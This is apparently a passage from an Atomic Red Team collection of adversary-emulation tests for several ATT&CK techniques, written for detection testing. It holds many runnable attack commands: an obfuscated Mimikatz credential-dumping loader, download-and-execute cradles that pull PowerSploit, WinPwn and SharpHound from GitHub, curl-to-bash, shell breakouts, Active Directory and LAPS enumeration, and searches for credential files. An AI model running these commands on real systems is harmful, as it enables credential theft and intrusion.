$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001
NTFS Alternate Data Stream Access
Windows
PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell)
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001
PowerShell Command Execution
Windows
CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD)
powershell.exe -e #{obfuscated_code}
T1059.001
PowerShell Fileless Script Execution
Windows
PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that
art-marker.txt is in the folder.
Command (PowerShell)
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001
PowerShell Invoke Known Malicious Cmdlets
Windows
PowerShell
Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell)
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
T1059.001
PowerShell Session Creation and Use
Windows
PowerShell
Privileged
Connect to a remote powershell session and interact with the host.
Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell)
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001
PowerUp Invoke-AllChecks
Windows
PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001
Powershell Invoke-DownloadCradle
Windows
Manual
Provided by https://github.com/mgreen27/mgreen27.github.io
Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001
Powershell MsXml COM object - with prompt
Windows
CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed.
Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001
Powershell XML requests
Windows
CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed.
Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001
Powershell invoke mshta.exe download
Windows
CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!".
Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001
Run BloodHound from local disk
Windows
PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.
Successful...
Command (PowerShell)
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001
Run Bloodhound from Memory using Download Cradle
Windows
PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.
Successful execution...
Command (PowerShell)
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001
SOAPHound - Build Cache
Windows
PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename.
src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001
SOAPHound - Dump BloodHound Data
Windows
PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory.
src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1059.004
Change login shell
Linux
Bash
Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004
Command line scripts
Linux
Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004
Command-Line Interface
Linux, macOS
Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.
Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004
Create and Execute Bash Shell Script
Linux, macOS
Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004
Creating shell using cpan command
Linux, macOS
Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
T1059.004
Current kernel information enumeration
Linux
Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004
Detecting pipe-to-shell
Linux
Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004
Environment variable scripts
Linux
Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004
Harvest SUID executable files
Linux
Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004
LinEnum tool execution
Linux
Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004
New script file in the tmp directory
Linux
Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004
Obfuscated command line scripts
Linux
Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004
Shell Creation using awk command
Linux, macOS
Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command.
Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004
Shell Creation using busybox command
Linux
Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference -...
Command (Shell)
busybox sh &
T1059.004
What shell is running
Linux
Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004
What shells are available
Linux
Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells
T1059.004
emacs spawning an interactive system shell
Linux, macOS
Shell
Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1087.002
Account Enumeration with LDAPDomainDump
Linux
Shell
This test uses LDAPDomainDump to perform account enumeration on a domain.
[Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell)
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002
Active Directory Domain Search
Linux
Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell)
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002
Adfind - Enumerate Active Directory Admins
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002
Adfind - Enumerate Active Directory Exchange AD Objects
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002
Adfind - Enumerate Active Directory User Objects
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002
Adfind -Listing password policy
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy.
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002
Automated AD Recon (ADRecon)
Windows
PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its
path will be displayed.
Command (PowerShell)
Invoke-Expression "#{adrecon_path}"
T1087.002
Enumerate Active Directory Users with ADSISearcher
Windows
PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference:...
Command (PowerShell)
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002
Enumerate Active Directory Users with csvde
Windows
CMD
The following test uses csvde.exe to export a list of Active Directory users and their properties to a CSV file.
Command (CMD)
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
T1087.002
Enumerate Active Directory for Unconstrained Delegation
Windows
PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property
'TRUSTED_FOR_DELEGATION' (0x80000;524288) set
More Information -...
Command (PowerShell)
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002
Enumerate Default Domain Admin Details (Domain)
Windows
CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD)
net user administrator /domain
T1087.002
Enumerate Linked Policies In ADSISearcher Discovery
Windows
PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference:...
Command (PowerShell)
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002
Enumerate Root Domain linked policies Discovery
Windows
PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference:...
Command (PowerShell)
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002
Enumerate all accounts (Domain)
Windows
CMD
Enumerate all accounts
Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD)
net user /domain
net group /domain
T1087.002
Enumerate all accounts via PowerShell (Domain)
Windows
PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell)
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002
Enumerate logged on users via CMD (Domain)
Windows
CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD)
query user /SERVER:#{computer_name}
T1087.002
Get-DomainUser with PowerView
Windows
PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002
Kerbrute - userenum
Windows
PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell)
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002
Suspicious LAPS Attributes Query with Get-ADComputer all properties
Windows
PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties *
T1087.002
Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope
Windows
PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002
Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property
Windows
PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002
Suspicious LAPS Attributes Query with adfind all properties
Windows
PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002
Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd
Windows
PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002
Wevtutil - Discover NTLM Users Remote
Windows
PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM.
This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell)
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002
WinPwn - generaldomaininfo
Windows
PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
T1505.003
Web Shell Written to Disk
Windows
CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
Idea from APTSimulator.
cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001
Access Drone CI Config File
Linux, macOS
Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access Gitlab CI Config File
Linux, macOS
Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access Jenkinsfile
Linux, macOS
Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access Travis CI Config File
Linux, macOS
Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access unattend.xml
Windows
CMD
Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001
Dump GitHub Actions Runner Environment Variables from procfs
Linux
Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh)
and reads their environment variables from /proc/<pid>/environ, filtering for keys
containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests
credentials and secrets...
Command (Bash)
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001
Extract Browser and System credentials with LaZagne
macOS
Bash
Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001
Extract passwords with grep
Linux, macOS
Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001
Extracting passwords with findstr
Windows
PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001
Find .env Files Containing Application Credentials
Linux, macOS
Shell
Searches common web application and service directories for .env files
(.env, .env.local, .env.production, .env.development, .env.staging) that may
contain credentials such as API keys, database passwords, and service secrets.
Adversaries targeting web servers or...
Command (Shell)
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001
Find AWS credentials
Linux, macOS
Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001
Find Azure credentials
Linux, macOS
Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find Docker credentials
Linux, macOS
Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find GCP credentials
Linux, macOS
Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find HashiCorp Vault token files
Linux, macOS
Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find Kubernetes cluster configuration files
Linux
Shell
Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell)
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001
Find Kubernetes user configuration files
Linux, macOS
Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell)
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001
Find OCI credentials
Linux, macOS
Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001
Find Terraform credential files
Linux, macOS
Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell)
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001
Find and Access Github Credentials
Linux, macOS
Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find database credential files
Linux, macOS
Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell)
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001
Find npm registry credential files
Linux, macOS
Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find system database configuration files
Linux
Shell
Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell)
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001
List Credential Files via Command Prompt
Windows
CMD
Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001
List Credential Files via PowerShell
Windows
PowerShell
Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001
Search for Git Credential Files
Linux, macOS
Shell
Searches the specified directory for a git credential file, which
may contain plaintext credentials, access tokens, or credential helper
configurations. Example files include .git-credentials and .gitconfig.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials
Windows
PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001
WinPwn - SessionGopher
Windows
PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001
WinPwn - Snaffler
Windows
PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001
WinPwn - passhunt
Windows
PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
